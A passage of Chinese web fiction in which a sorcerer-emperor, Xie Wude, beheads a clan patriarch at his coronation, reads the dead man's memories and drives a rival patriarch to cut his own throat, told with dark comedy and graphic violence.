反正他当皇子就是想要“杀兄弑父”搞点历史经典操作。 他跟下面的这群人说道:“说起来,其实我是不会读心的。” 下面的所有人都一愣。 他们之前也是这么想的。 谢吾德说这话听上去像是在示弱,但是谢吾德这个人又不像是会示弱的人,他们愣愣的看着谢吾德,好像是一只只傻掉的袍子一样。 如果谢吾德不是示弱的话,他说这句话有什么用呢? 谢吾德把手从后背拿出来。 理论上来说,法术就是一种能够让人心想事成的力量,只要能量足够,本人的身体没有限制,那什么都能做到。 但法术这种东西对活人的效果十分差劲,活着的生物是有思想的,思想会限制法术的强度。 即使是谢吾德对活人也没有很好的直接杀伤招数。 不然他很想试着把人睾.丸打结。 可是嘛,只要肯动脑,总有绕开限制的办法。 谢吾德抽出了自己的佩剑。 他的动作很快,从拔剑出鞘再到举起长剑直接砍下不过几秒钟的事情。 他的动作行云流水,但是却又惊若雷霆。 陈老爷子想要躲,王老爷子也迅速地后移,临川陈氏的人扑过去想要阻止谢吾德。 但是都晚了。 刚刚杀死了太上皇的剑出鞘,斩下了临川陈氏老太爷的头。 现代工艺合金剑就是好用,谢吾德砍掉了谢珖的头之后,磨都不用磨,还能干脆地再砍掉一个人的头。 “啊——”有人尖叫了起来,尖锐程度超过了女性的尖叫,直达小孩子的尖叫的程度,反正超脱了一般男性的生理极限,男高音没他不行,像是西方的阉伶歌手一样。 第60章 之前是在室外,所有人离谢吾德都很远,所以谢吾德根本就没办法看清他们的表情,但是现在他们在室内,谢吾德就能听清清楚楚地听到这群人恐惧的尖叫。 谢吾德感觉自己失策了。 他不仅应该屏蔽自己的嗅觉,也应该消减一下噪音。 耳朵疼。 谢吾德手里拿着剑,抠了抠自己的耳朵,他的剑擦着边上的大臣擦过,也幸亏那个人躲得快。 场面一片混乱。 萧国这次来的还没有死的人都傻了。 南方这都什么蛮夷之辈。 他们隐约想起了这里似乎就是春秋战国时楚国的地盘。 楚王说:“我蛮夷也。” 什么大楚堂堂复刻啊! 萧国人现在隐隐地感觉到了为什么荣国人之前那么害怕他们。 他们现在看荣国皇帝也很害怕啊! 生怕荣国皇帝给他们吃了。 现在在他们眼中,谢吾德长什么样根本就不重要,不管他长什么样,在他们眼中就是青面獠牙的。 王老爷子看着陈老爷子的脑袋,他的腿几乎是瞬间一软。 王老爷子一直看不上陈老爷子,陈氏比王氏稍微差一点,王老爷子从年轻的时候开始总能微妙地高陈老爷子一头,但是总是也没办法彻底把他踩下去。 他们也是老对头了。 他们斗了一辈子,近十年斗争的核心就是看谁最能活。 王老爷子巴不得陈老爷子死。 非常真挚的那种。 不是那种“宿敌就是妻子”这种怪玩意,而是半夜想到陈老爷子死了就会笑醒的那种真挚。 但是现在陈老爷子就这么死了。 王老爷子却乐不起来。 他不是傲娇,而是没办法接受姓陈的就这么死了。 死得太过于随便潦草了。 没有人会不害怕。 王老爷子讨厌陈老爷子,但是此刻他却深深地代入了他。 此刻的谢吾德在他眼中就像是择人而噬的斑斓猛虎。 野兽比人类更加可怕,就是因为谁也不知道野兽什么时候会出手。 他们没有人类的感情,冷不丁地就会撕烂人的身体。 现在谢吾德在王老爷子眼中就是这样的猛兽。 谢吾德看着喷了很高的血。 他把陈老爷子的尸体用脚往边上一踢,踩住了他的头。 “当然具体的原因我就不跟你们详细解释了。” 亚夏听到谢吾德的这句话,捂住了自己的脸。 这不愧是谢吾德的解法。 谢吾德无法做到读心就是因为法术本身是基于智慧生命的意志而诞生的。 即使不是智慧生命其实也可以拥有微薄的法术,只是他们没有使用他的能力。 具体要打比方的话,就像是人类在空气中所感受到的浮力一样,不能说没有,但是就是没什么感觉。 这也是为什么他们没法使用法术去治愈任何一个人,只有在伤口暴露在外,或者干脆把人劈开才能够用法术进行的干预。 对于现代科技来说,阅读死人的记忆比阅读活人的记忆要难,毕竟活人可以开口,但是对于谢吾德来说,阅读死人的记忆可要比阅读活人的记忆要简单的多。 只要他让陈老爷子失去生命体征就可以了。 其实没有必要砍头,砍他的头纯属是因为个人的恶趣味,就像是他杀死谢珖一样,没有半点额外的意味,纯纯的都是恶趣味。 谢吾德的脚踩着陈老爷子的脑袋。 阅读大脑记忆对谢吾德来说没什么难度。 只要人一死,他读这个人的记忆就像是谢吾德自己的记忆一样,只要琢磨一下就能够明白陈老爷子之前都经历了什么。 陈老爷子是临川陈氏的核心,重要的事情都得知会他一声,所以临川陈氏的底裤被他几乎是瞬间扒光了。 朝臣们几乎围着他绕了一个圈,他们还在微不可查地后退。 谢吾德一副高深莫测的样子。 谢吾德现在的表情在亚夏看来就像是在跳大神一样,谢吾德装神弄鬼地说:“啊,我看到了,我好像看到了。” 谢吾德只是匆匆一瞥陈老爷子的记忆,并没有看得太仔细。 陈琦在瑟瑟发抖,谢吾德不远处的尔雅,都忍不住打了一个哆嗦。 虽然她也很烦陈家的规矩,也没打算和陈家混在一起,但是在看到亲人死亡,也难免会产生些许的震动。 更可怕的是,如果谢吾德真的确定了他自己的想法,那临川陈氏绝对不是死一个陈老爷子就能够做到的事情。 他们觉得谢吾德这个语气不像是正经在说话,但是谢吾德什么时候做过正经事的事情了? 谢吾德用鞋跟把陈老爷子往前踢开:“我没猜错,这件事情就是你们临川陈氏干的。” 谢吾德不知道那些人是陈家的,不过他是看着所有人说这句话的。 “就连天幕也是你们做的好事……” “你说,我该怎么办呢?” 朝堂上所有和临川陈氏有关联的人都躬身不语。 “去诛了他们的九族。”谢吾德轻飘飘地说道。 “陛下!” “陛下恕罪!” “陛下万万不可!” “陛下怎么可以让天下侍奉大荣的世家寒心?” 谢吾德无视掉这些人说的话。 之前陈老爷子死得时候都没有这样一石激起千层浪。 现在这群人跳出来大概率就是被牵连了进去了。 谢吾德一如既往地没有说任何人的名字,但是李真已经习惯性地把这种脏活揽到了自己的身上,冲着谢吾德行了一礼,然后便带着人匆匆地离去了。 谢吾德歪头看着尔雅:“你的记性如何?” 尔雅沉默。 她似乎明白了谢吾德的意思。 谢吾德肯定不会喜欢世家的这群人在他面前跳得这么高,而且现在站出来抗议的都是被踩到尾巴的人,都是不希望临川陈氏倒下的人。 谢吾德是要尔雅记住这些跳得很高的人。 谢吾德不擅长记人,脸、身形、声音之类的一切都记不住。 不过没关系,他身边有很多可以用的人。 但是问题的尴尬之处就在这里了。 谢吾德不知道尔雅的临川陈氏的人。 要做吗? 要彻底倒向谢吾德吗? 尔雅的大脑在飞快地运转着。 “臣……遵旨。” 尔雅做出了决定。 临川陈氏的人看着尔雅,目眦欲裂。 今天来的谢敬明也终于看到了之前看上去并不是很突出的尔雅,瞪大了眼睛。 “陈……”有人大声喊道,想要把尔雅的真实身份喊出。 这个女人,他们当初就应该把尔雅给杀了。 这离经叛道的毒妇! 谢吾德啧了一声,随手抄起一个东西就砸了过去:“我不生气你们就学不会保持安静了吗?!” 尔雅松了一口气。 她不知道谢吾德是有意的还是无意的,但是这帮了她大忙。 在这混乱之中,尔雅做出了自己的决定,并且选择抄起铲子给自己的家人盖上最后的土。 陈氏……似乎是真的要完了. 琅琊王氏的人看着临川陈氏。 他们和临川陈氏虽然都有联姻,但是为了争夺这个世家之首的地位,他们之间的斗争不断。可是如今临川陈氏就这么破灭了,他们难免感觉到兔死狐悲。 王旭抿了抿嘴唇,他的心脏跳的飞快,但是最后他还是做出了决断。 他跪在了谢吾德的面前说道:“陛下三思。” 谢吾德早就不记得王旭的脸了,他这个人不喜欢注意别人的长相,也不喜欢注意别人的名字,他只是看王旭有点眼熟,感觉之前可能看见过,不过他见过的人多了去了。谢吾德问:“怎么你也姓陈?” “臣姓王。”王旭对谢吾德说道。 “哦,还是说临川陈氏有你的相好?”谢吾德慢条斯理地拉长声音,“还是说你和这个老头是姘头?” 谢吾德装出了一脸严肃的样子,但是嘴巴里却说着十分不靠谱的话。 林耀祖的弹幕直接【哈哈哈】飞起。 最能让人类神经系统兴奋的两种东西——脏话和黄色话题。 这真的是底层代码级别的东西了 说起这个,大家就有的聊了。 谢吾德甚至看到有人说这就开始写。 清冷高傲满腹经纶世家子弟和满头白发狡诈如狐的敌对世家老祖宗…… 噗,这可实在是太好磕了。 颜值党可能磕不动,但是乐子党能磕得起飞。 不邪门,他们还不喜欢。 谢吾德还是希望他们写了给他看一眼的。 如果不是他现在不方便的话,他都想要上林耀祖的那个直播网站,亲自写一些谣言去了。 谢吾德只有在这种时候才会有如此之高的积极性——就像是他帮谢珖写的罪己诏。 谢吾德就是绝对的乐子党。 谢吾德对自己说的话感到十分满意,但是当事人却绝对开心不起来。 他是被造谣的一方,他们又可以义正辞严地去指责造谣者。 谢吾德是皇帝,他们没有胆子去谴责谢吾德什么。 谢吾德就算真的诬蔑了他们,那又能怎么样呢? 只要他们敢跟谢吾德大小声,谢吾德就敢一巴掌扇在他们的脸上,让他们清醒清醒。 王旭被谢吾德一句话说的差点要忘了自己本来想要表达些什么的,就连在一旁站立的王老爷子,也忍不住抖了一下。 他倒不是担心王旭被传出什么坏名声。 就算真有这件事情,更着急的也应该是临川陈氏。 这事有多么离谱,大家都知道;谢吾德性格有多不靠谱,大家也知道。 别说是谢吾德明摆着胡说八道,就算他们把谢吾德做的事情实打实地、不加半点修改地放在史书上,他觉得后世的人都要怀疑他们是不是在造谣生事。 如果不是亲眼所见,谁敢相信有人能做出谢吾德现在在做的事情。 他是担心王旭。担心王旭突然掺和进这一趟浑水中,把他自己拉下去。 王老爷子知道王旭的性格。 虽然因为二皇子登基失败的原因,他们王家已经准备和王旭开始切割,但是现在敢站出来说一句话的也只有王旭一个人。 这绝对不是因为他性格冲动,他敢站出来说话,就是心里有了腹稿。 不管之前王氏是否想要和王旭切割,他现在能够站出来说一句话,成为一个发声筒,那就足够碾压王家,甚至是其他世家的所有人了。 这样的王家子弟不能死啊。 之前谢珖在位的时候,大家糊弄谢珖都很简单,只要满足谢珖的权力欲,让他觉得自己仍然是掌握大权的皇帝,那谢珖就可以装作看不见。 在那种环境下,大家的脑子一般是够用就行,不需要有多么强的能力。 重点不是人有多么聪明,而是怎么顺着谢珖心意来,以及不要让谢珖起疑心。 如果把谢珖看成是一道题的话,那么谢珖这道题的难度最多也只有五十分,打满分都很简单的。 可是谢吾德不一样,谢吾德这道题难度能拉到一百分甚至是二百分的。 在谢珖那里,大家都拉不开差距,王旭这样的人虽然聪明,但是没有了优势,他就很难出头,该抛弃就抛弃。 可是在谢吾德这里,犯没犯错都不是重点的,重点是能不能够有脑子把琅琊王氏继续带下去。 绝对不能选择一个蠢人上来。 琅琊王氏传承至今也有一千多年了,没人希望琅琊王氏的荣耀就此终结。 临川陈氏就是前车之鉴。 他们需要王旭这样的聪明人来引路。 聪明也胆大。 时代变了,琅琊王氏不再需要能力不够的人了。 更何况,谢吾德是绝对不会忌惮王旭这个曾经帮助过他二哥争皇位的人,他连余文彦这个二皇子最大的谋士都敢放手去用,就不用提王旭了。 在谢吾德面前搞切割是没有用的。 谢吾德的词典里就没有忌惮。 那是什么玩意? 更重要的是…… 谢吾德他都记不住人! “臣当然没有!”王旭坚定地说道。 王老爷子还能够沉住气,但是王旭本人可受不了这种污蔑。 他还是要脸的,这事传出去,他回去怎么和自己的妻子交代? 古代人是有妻有妾,但是这并不代表他们就不在乎妻子的眼光了。 而且他的妻子也是世家的人,万一他妻子真的信了这种事——哪怕只有千分之一的概率,只要她回去和家里人说,王旭感觉自己起码五年之内都没办法做人了。 “哦,那你说吧,”谢吾德有点失望地叹了一口气。 王旭心想你叹个毛的气?手底下的臣子不搞男人难道不是一件会让你松一口气的事情吗? 谢吾德就是在搞人心态。 不过王旭知道自己不能急,只要自己急了,那就是中了谢吾德的圈套。 这个世界上怎么会有谢吾德这么恶劣的家伙。 王旭说道:“陛下此举,人证和物证一应不全,若是如此,怎能够为这个天下、为臣民作为榜样?以陛下现在的名望,若是今日此事传遍大江南北,那这天下不知有多少人会效仿陛下,弄出这莫须有的罪名。” “请陛下为天下范。”王旭种种一颗头。 余文彦在心里大声地啧了一声。 王旭悄悄地抬起头打量着谢吾德的神色,他想要从谢吾德的表情中得到一些反馈。 谢吾德呲牙露出了有点痛苦的表情。 王旭心里咯噔一声,如果是谢珖的话,他会以为自己这句话是说到了谢珖的痛点上,但是谢吾德露出这种表情,他就觉得自己要遭。 谢吾德不是一个喜欢痛苦的人,他要是痛苦了,那别人就一定要和他一起痛苦。 果不其然,谢吾德一脚踹在了王旭的身上,他说道:“你骂谁秦桧呢?” 谢吾德罕见地脸被气得通红。 一想到荣朝是一个以宋朝为基础的虚拟朝代,谢吾德就觉得王旭挨的这一脚是半点都不冤。 谢吾德说的话很多人都听不懂,但是谢吾德自己能听得懂就行了。 亚夏噗嗤的一声笑了出来。 他很少笑,表情也很匮乏,平时都是保持自己的平静,脸上没有多少紧绷的神色,就是纯粹地缺乏一切表情。 谢吾德刚刚说那句话戳中了他的笑点,所以他没能忍得住,在大庭广众之下笑出声来。《 》 60-70 第61章 谢吾德十分恼火,他扭头看着亚夏,说道:“要不你还是回去吧。” 他是真的后悔把亚夏留了下来。 要是亚夏不在,他还有概率听不到这句话。 也不知道温特有没有听到。 王旭只觉得自己冤枉。 他哪一句话说错了? 难道是莫须有? 难道谢吾德会说“我说有就是有”吗? 这好像也的确是谢吾德会说的话。 谢吾德从心态到言行举止上,都给人一种把自己当成高高在上的神明的感觉。 当然,以谢吾德所展现出来的能力,他会有这样的感觉也不足为奇,放到其他人身上,这些人搞不好会比谢吾德更嚣张。 想想临川陈氏,只是得到了一个能够看到未来的天幕,就相信他们可以取而代之。 谢吾德把自己看作神灵,只不过是要所有人都听他的话,顺从他的意思,但是他并不向其他人索求什么祭品,也不需要太多大张旗鼓。 甚至到目前为止,他给别人的远胜于别人给他的。 王旭的确看过了临川陈氏所展现出来的天幕,他知道谢吾德做的事情之后会导致什么,但是总不能说谢吾德错了吧? 人都是容易慕强的,谢吾德的强大直接击垮了许多人对谢吾德的底线。 而且王旭之前很不能理解谢吾德很大程度上是因为他觉得自己和谢吾德是同一阶层的,都是居高临下地看着天下所有人的类型,现在他成为了被居高临下的人,所以他好像隐约地明白了一些事情。 谢吾德对他的态度不就是他对那些平民百姓的态度吗? 没有把任何东西放在眼里。 在王旭看来,普通人懂什么。 那么在谢吾德看来,王旭也什么都不懂。 王旭这样的人跟他说一句“莫须有”,那在谢吾德看来就是完全瞧不起他。 但是王旭生活在这种封建的地方,他通过封建体系剥削人,实际上他也是非常容易认可这种剥削和压迫的。 ……或者该说,对他们这些世家的剥削和压迫永远都不如对普通人的封建压迫。 普通人需要为自己的生活奔波,担心因为劳逸和强制迁移与家人分别,还需要担心无情的屠刀从上面斩下来。 世家基本只需要担心最后一个就好了。 只能说王旭的种种想法,完全是结论对了,但是过程错了。 余文彦倒是有点幸灾乐祸,他感觉王旭似乎要转变立场了。 谢吾德展现出的残暴和力量,完全超出了他琅琊王氏的想象。 琅琊王氏可不希望王老爷子也突然地被谢吾德砍下脑袋,所以在陈老爷子死后,他立刻就向谢吾德献媚了,展现出自己的能力,同时也展现出自己对谢吾德的忠诚。 但是这样一来,王旭和余文彦就是竞争关系了。 余文彦警惕一切可能和他抢夺谢吾德关注的人。 他的丞相之位还没有正式到手呢。 万一谢吾德突然来了兴致,把这个位置给王旭了那该怎么办? 余文彦是很有危机意识的。 总不能把王旭给杀了吧? 找人去暗杀他也不是不行,只要谢吾德什么都不知道,谢吾德就不会复活王旭。 但是余文彦思考了一会,觉得这样做还是有风险。 还是直接在谢吾德面前给王旭上眼药好了,谢吾德应该也喜欢看着这样的表演。 余文彦也算了解王旭。 如果没有谢吾德,如果没有意外的话,王旭很有可能就是未来荣朝的丞相,从他本人的能力到琅琊王氏的地位,都足够支撑王旭登上丞相之位。 余文彦甚至没办法摸一下丞相这个位置的门槛了。 这就是门第。 之前没有办法就算了,他会对着王旭一副顺从恭敬的样子,他会尊重这个规则,但是现在,时代变了,所以他看着自己之前相处还不错的王旭被谢吾德踹了一脚,他只感觉到了一股快意。 真当他和王旭的关系好到即使面对竞争也完全无法动摇的吗? 亚夏乐归乐,但是谢吾德让他走,那他就干脆利索地走了,他本来也不想待在这里,谢吾德在被他笑了之后也不会再让他看到别的东西了,于是他绕开所有人,跑到后面的屏风去,推开门的工夫就消失了。 “切。”谢吾德这次倒也没用多少力气。 他把王旭踹到一边之后,把重新看向陈老爷子的脑袋。 他之前看的稍微有点快,现在又慢慢看起了自己之前一掠而过的地方,之前就有一些东西吸引了他的注意。 临川陈氏得到天幕之后,他们便有了杀死谢萍的计划。 这的确就是蓄意谋杀。 福尔摩斯之类的侦探还需要找证据,在谢吾德这里只需要大开杀戒就好。 真的一不小心杀错了忠臣,他完全可以直接把人复活。 世家势大,其实即使是皇帝也很难解决世家的问题。 唐太宗在中国历史上也算是有能力竞争前三的皇帝,但是他也没能解决世家。 世家和皇帝是对立的,但是皇帝也不得不利用他们。 世家并不喜欢看到皇帝为所欲为。 就像是世家在面对人数众多的黄巢起义的那些农民的时候所展现出来的脆弱,皇帝在面对人数众多的农民的时候也会显得无力。 世家想要操控皇帝,而且也担心为所欲为的皇帝会将世家全部毁灭。 谢萍是他们的警告,而且只要她死了,谢吾德的计划就没法实现了。 如果皇帝只是一个普通的皇帝的话只能暂时忍住,等着寻找证据、积蓄力量,麻痹世家,然后一朝大仇得报,才能翻云覆雨…… 当然,也有可能是彻底被世家搞没了心气,和世家一起蝇营狗苟地直到死亡。 只是谢吾德走的是景帝流。 管你这那的,直接抡起棋盘和人爆了。 谢吾德的脾气很差劲。 正常情况下,有着这样脾气的人会被打磨得没那么锋锐。 亚夏就是正常情况下的谢吾德,他会学习修身养性,用更多更圆滑的方式解决问题。 但是谢吾德就不太正常。 没有信徒会要求自家神是个圆滑的人,尤其是在对谢吾德信仰是建立在邪神之上的。 所以谢吾德就是一个肆意妄为的家伙。 他也有实力这么肆意妄为。 也许景帝只能抡起棋盘,谢吾德能把地壳都抡起来。 谢吾德有这样的能力就没必要按套路来。 先杀后审,只此一家。 “我在那个陈啥啥的脑子里看到了一些有关于琅琊王氏的有趣的事情。”谢吾德看着匆忙爬起来的王旭。 琅琊王氏和临川陈氏之间的矛盾其实很多。他们之前合作,但是彼此之间也是充满了算计。 临川陈氏杀谢萍这件事情并不需要琅琊王氏的帮忙,他们打算先做了,然后再给其他世家透露一些若有似无的暗示,让他们知道这是临川陈氏做的事情。 这事很简单,到那时说出来能够增加临川陈氏的威望。 琅琊王氏是绝对不知道这件事情的。 但是要说琅琊王氏和这次的事情完全无关,那恐怕是没法说服别人的。 别说是说服谢吾德这种自我的家伙了,换任何一个皇帝都会对琅琊王氏做的事情深感不满的。 都知道了临川陈氏要搞事,为什么不告诉他? 这不就是有二心了吗? 谢吾德不担心别人对他不忠诚,他有时候还挺喜欢别人又不打算向他效忠,又硬着头皮为他服务的样子。 但是他不喜欢被恶心。 背叛他无所谓,但是不能恶心他。 谢吾德其实没有被严重恶心到,但是这是由临川陈氏的主观意愿决定的。 谢吾德看上去像是恩怨分明的人吗? 他不大搞株连都算他仁慈了。 王旭的眼皮一条。 王老爷子的反应比王旭还快,他一把年纪腿脚早就不好了,膝盖更是脆弱,但是他却哐当一声跪了下来。 谢吾德看他跪得眼皮一跳,难得的产生了一些共情——对王老爷子的膝盖。 要知道谢吾德现在这个身体里还在青春期阶段,长个也是青春期的一部分。 身高不高的人可能不理解,但是不少个子高的人都会长个长得腿疼膝盖疼。 偏偏王老爷子也算是一个狠人,他脸上没有半点异样的神色,就连他在跪下来的时候都没有皱半点的眉。 王旭也愣了一下,在反应过来之后,也和王老爷子一起哐哐磕头。 就在这两个人磕头的时候,谢吾德却伸出了自己的脚,在他们前面的地砖上敲了两下。 这一脚让所有人都摸不着头脑。 他这是什么意思? 谢吾德没有解释,他只是好奇这个地砖下面是不是有什么空鼓。 他之前看小说,小说中提到有人磕头磕得响,就是因为那个地砖下面有空鼓,所以给人一种磕头磕得很响的错觉。 但是王老爷子下面的那个砖是真的没有一点空洞的感觉。 很实诚。 王老爷子抬起头看向谢吾德,他的额头上已经有了血。 谢吾德不喜欢这些世家,不能说他们得来的一切完全都是家族的原因。 王老爷子能够控制王家几十年,那都是他自己的本事,他也算是一个年少就颇有才名的人。 只是这个世界上比王老爷子优秀的人多了去了,但是不得不承认,这个王老爷子真是狠。 谢吾德笑着看着王老爷子,他眼睛里可没有什么怜悯的。 只不过是流一点血罢了,没看旁边陈老爷子的血喷了多远? 在他身旁没有及时躲开的人,都被溅了一身血,但是偏偏都被谢吾德吓得一声都不敢吭,只是僵着身子,怕身上的血液被蹭到了更多的地方。 陈老爷子的鲜血可能还落到了一些人的嘴巴里,但是这些人都不敢呸一下。 “还不够,就流这点血。你好歹和陈啥啥的流一样多的血吧。”谢吾德的眼皮都没有跳一下。 之前会为王老爷子下跪感到腿疼,那是因为他现在还在长身体,经常会疼一下。 在其他事情上,他的共情就直接消失了。 他和亚夏最大的差别之一就是他实在是缺乏共情和同情。 亚夏看人冲他磕头会感同身受地觉得他自己的额头疼,但是谢吾德只想要看那些人为他献上最后一滴血液。 王老爷子活着肯定是不能做到和陈老爷子流一样多的血的。 王老爷子真要做到那件事情,就要割开自己的动脉,最后失血过多而亡。 谢吾德琢磨了一下自己这句话,觉得这句话说出来可能会有一些给长奇妙的事情发生。 可是他没有修改自己的话,而是看着王老爷子,想要看看这个如同狐狸一样狡猾的男人会做出什么样的决定。 王老爷子沉默了,他看着谢萍手中的匕首。 谢萍还是很懂眼色的,而且她知道王老爷子就算拿了匕首也没法伤害到手里拿着长剑的谢吾德,而且谢吾德刚刚那句话,应该是让王老爷子自残来表达自己的忠心。 于是她就那么把匕首递过去了。 谢吾德也没有阻止她。 谢萍就知道自己做对了。 王老爷子把匕首拿到手,他静静地注视着这个匕首,似乎想要看透了这个普通的现代工艺的匕首,把它牢牢地铭记在自己的脑海中。 这把匕首对于这个年代的人来说,实在是精致,就像是被工匠打磨过一样。 只是现在这把匕首上面沾着萧国使者的血。 上面血淋淋的。 而王老爷子自己身上也有血。 他身边的地上也有血。 朝堂本来应该是一个庄严肃穆的地方,是不能见血的。 但是谢吾德把所有规矩都踩在脚下。 现在他站在那里,身边就好像笼罩上了一层淡淡的血雾一样。 他走到哪里,哪里就是一片血雨腥风。 王老爷子想拿着匕首割开自己的手腕,但是在下手的时候,他却忽然停住了自己的动作。 王老爷子很想叹一口气,但是他们现在已经走到了这一步,他忽然连叹气的力气都没有了。 谢吾德觉得他大概率是要放弃了。 王老爷子从小到大可都是世家子弟。 他祖上八代都是根不红苗不正的地主阶级,从小就没有吃过半点口头。 小时候没吃过苦的人长大了又怎么能狠得下心给自己来一下。 这也算是符合刻板印象了。 但是王老爷子还是做出了一点让谢吾德意外的事情。 他抬起匕首,在自己的脖子上用力地划了一下。 王老爷子一直在颤抖,他的皮有点老了,如果用手捏住他的皮,他的皮大概会拉很长,但是好在这把匕首十分锋利,足够割开他的皮,让他的鲜血喷涌而出。 即使老年人的血也是红色的。 王老爷子的血,从王老爷子身体里喷出来的血喷了王旭一脸。 王旭惊恐地瞪大了眼睛。 谢吾德捏着下巴,脑子蹦出了一个会被屏蔽的两个字的词。 王老爷子倒在了地上,连带着丁零当啷的声音,那是他身上种种装饰品。 世家两个领头家族——琅琊王氏和临川陈氏的当家人就这么死了。 就在皇帝登基这一天废掉了两个世家。 琅琊王氏和临川陈氏的底子还在那里,但是之后他们很有可能再也立不起来了。 不仅是琅琊王氏和临川陈氏,他们是世家的代表。 朝臣忍不住感到了些许胆寒。 这就是谢吾德。 曾经有多少人嗤笑于他的冲动和易怒,鄙夷他幼稚的举止,但是现在他们就有多害怕。 那些心机深沉的皇帝更符合世人想象中的皇帝,就能够解决世家吗? 他们都不能,但是谢吾德能。 甚至那些深不可测的皇帝的思路其实也就是正常人的思路,如果多算算的话,还是有可能猜到他在想什么的。 谢吾德就是完全让人搞不清了。 别管他行为有多么不羁,他做过多么不妥当的事情,但是他能够做到一日杀两个世家的掌控者。 别的皇帝能掌握生杀的大权,这个生杀还有点模糊,但是谢吾德是真的能把人杀了之后再复活,复活之后再杀。 他真的不像什么皇帝,而像是某种高高在上、遥不可及的神明。 他拥有着一切皇帝绞尽脑汁想要为自己增添的强大力量。 这些朝臣们一个个都跪了下来,就连原本打算强硬到底的萧国使者,最后也没能够顶得住这份沉默的压力,也跪下来向谢吾德叩首。 谢吾德回头看向王旭,他低头问着王旭:“你现在看到了,你的祖父已经死了。” 谢吾德没想到这个老头还真能够狠得下心来,他还以为这种人更喜欢苟且偷生。 不过想想也是,他用自己的一条命换家里更多人的命。 这似乎也在情理之中。 琅琊王氏的人还没死绝。 但是如果谢吾德说要杀了琅琊王氏所有成员,那王老爷子说不定就会举着匕首向他冲过来和谢吾德拼命了。 可惜王老爷子不知道谢吾德的想法,所以他也没有和谢吾德拼命。 谢吾德想想觉得还有点好笑,在面对他这种强权的时候,王老爷子居然还想着能妥协。 他会因为王老爷子的自杀就放过琅琊王氏吗? 开玩笑。 不过饶是如此,他还是要问王旭一句:“现在,你恨我吗?” 他笑嘻嘻的,好像刚刚死的不是王老爷子,而是什么世家所看不起的太监一样,甚至还要残忍地问一句家属的感受。 王旭急促地喘息了几次,然后重重地磕头。 他的额头触碰到了地上,陈老爷子的血已经有点干了,现在流了一地的是王老爷子的鲜血。 他的头磕下去,重重一下,好像要把自己磕得脑震荡了一样,然后王旭抬起头来,殷红的鲜血从他的头顶滴落,不知道是他自己的血、王老爷子的血还是陈老爷子的血。 如果要尽孝道,那么王旭现在应该提剑准备杀死谢吾德。 但是王旭只是说:“雷霆雨露,俱是君恩。” “多谢陛下恩典。” 谢吾德听到这句话,哈哈大笑。 第62章 现在世家已经没有和谢吾德对抗的资本了。 如果谢吾德没有展现出那么多的神异之处的话,那么世家就算是暂时吃了亏也不会这么干脆利落地自杀。 他们会选择掌握了权力直到人生的最后一刻。 他们怎么可能因为谢吾德随便说几句他们就直接自杀? 这样会很影响世家的权威的。 谢吾德对他们的压迫实在是他们所能够承受的极限,所以才让王老爷子如此干脆利落的选择自尽。 他不是大无畏,而是被逼得没招了。 现在不死的话,就要死全家了。 不是网上那种骂人的话,而是现实意义上的死全家。 王老爷子可不是有什么大无畏精神的人,当初萧国的人南下攻破开封的时候,王老爷子带着琅琊王氏的财富果断地跑路了,都不知道装了多少箱的钱财。 他们因为担心北方逃难而来的人造成动乱,所以果断推动政令杀死那些试图跨过长江的人。 林耀祖的弹幕上很多人都对王老爷子的狠辣果断给震惊到了。 人都是会敬佩这些狠人的。 王老爷子想要的其实也是如果史书有记载的话,他在史书上能得到一个不错的风评,后世人会为他打抱不平。 他也的确达成了这一目的。 只可惜林耀祖现在的这个直播是真的全球性的直播,即使是别的时区的人都会强忍睡意看直播。 所以看直播的历史学家立刻跳了出来,给所有人科普琅琊王氏做的好事。 琅琊王氏不是没有出英勇对抗萧人的人,但是这和王老爷子无关。 要说他有风骨,那让真正的忠义之人该怎么看? 谢吾德一直都很抽离,他没有把这些人当做是真的人,所以他看事情反而更加清楚。 他做事比较情绪化,但是他对这个世界就像是打一个超级真实的游戏一样。 谢吾德拥有的是玩家视角,他不会拥有这个世界的任何利益所触动。 现在世家的人现在的态度低到不能再低了,谢吾德觉得他还是喜欢这群世家桀骜不驯的样子,希望他们能够恢复一下,整起人来更有成就感。 “没关系,朕原谅你们了,朕实在是仁慈,你就先起来吧。”谢吾德假装抹抹眼泪,“朕,有德啊。” 余文彦:“……”您老自己说这话您老就不觉得好笑吗? 余文彦看看谢吾德的表情,感觉他是真的没憋得住笑。 谢吾德就纯魔王级别的角色,但是他知道对错,所以才在说这种话的时候感觉想要崩溃大笑。 王旭站了起来。 谢吾德可以假惺惺地给自己抹眼泪,但是绝对不会假惺惺地去扶别人。 余文彦在一旁总感觉谢吾德可能在憋着一些坏主意。 谢吾德实在不像是会放过王家的人。 甚至他有理由怀疑谢吾德现在放过王家是为了之后更好地折磨琅琊王氏。 理由? 余文彦觉得最大的理由就是谢吾德可能根本就没记住王老爷子和陈老爷子的名字。 谢吾德不太擅长记人,一半是因为他真的记不住,另一半则是他懒得记。 如果他真的对某个人上心,那他肯定会记住对方的名字的。 余文彦感觉谢吾德已经有点记住了他的名字。 余文彦没有直接问谢吾德“陛下您记不记得我叫什么名字”,他只是给谢吾德递奏折的时候强调了一句:“这是臣的奏折。” 他有看到谢吾德随手翻到最后看看他叫什么名字的。 不过余文彦可没有同情琅琊王氏的意思。 琅琊王氏富贵千年,尤其是王旭这种从自己到先祖一直都是王氏族长的家伙,日子不知道又多好过。 别提家中有多少压力,他们有像余文彦那样像是被撵的狗一样匆匆忙忙背井离乡跨过长江来到南荣来得难吗? 这种富贵的人,轮不到他同情。 同情心是需要足够的资源才能够培养出来的东西。 这是人性的高光,但是也是昂贵的奢侈品。 反正余文彦觉得自己还没有到有资格同情琅琊王氏的地步。 谢吾德还有资格同情,可是他就是一个寒门。 不仅是余文彦,朝中的这些寒门子弟却变得欢欣雀跃,就好像王老爷子割开的不是自己的喉咙,陈老爷子也不是被皇帝所杀,他们看到的是那些封锁了朝堂晋升之路的世家的倒塌。 那个横亘在他们进步之路上的巨木被砍断了。 没关系的,没关系的。 谢吾德再怎么残暴,这个世界上总归是有人想要进步的。 如果谢吾德没有击垮世家,还想要对大臣动手,大家多少都会兔死狐悲,但是现在世家眼见着就要完全垮台了,那寒门子弟就要鼓掌了。 像是余文彦之前为二皇子效忠,但是最后还是投了谢吾德,现在看了他的形势一片大好。 谢吾德,似乎是真的没有门第之见。 他似乎都不知道这个世界都有哪些门第一样。 之前他们这些寒门依附于世家,跟着世家发声,是因为只有跟着世家,他们才有前途,现在世家倒了,那他们就变得前途光明了……吧?. 这次的登基典礼,算不上是鸡飞狗跳,但是也算是人心不稳。 谢吾德还有一些话想要跟谢萍聊一聊。 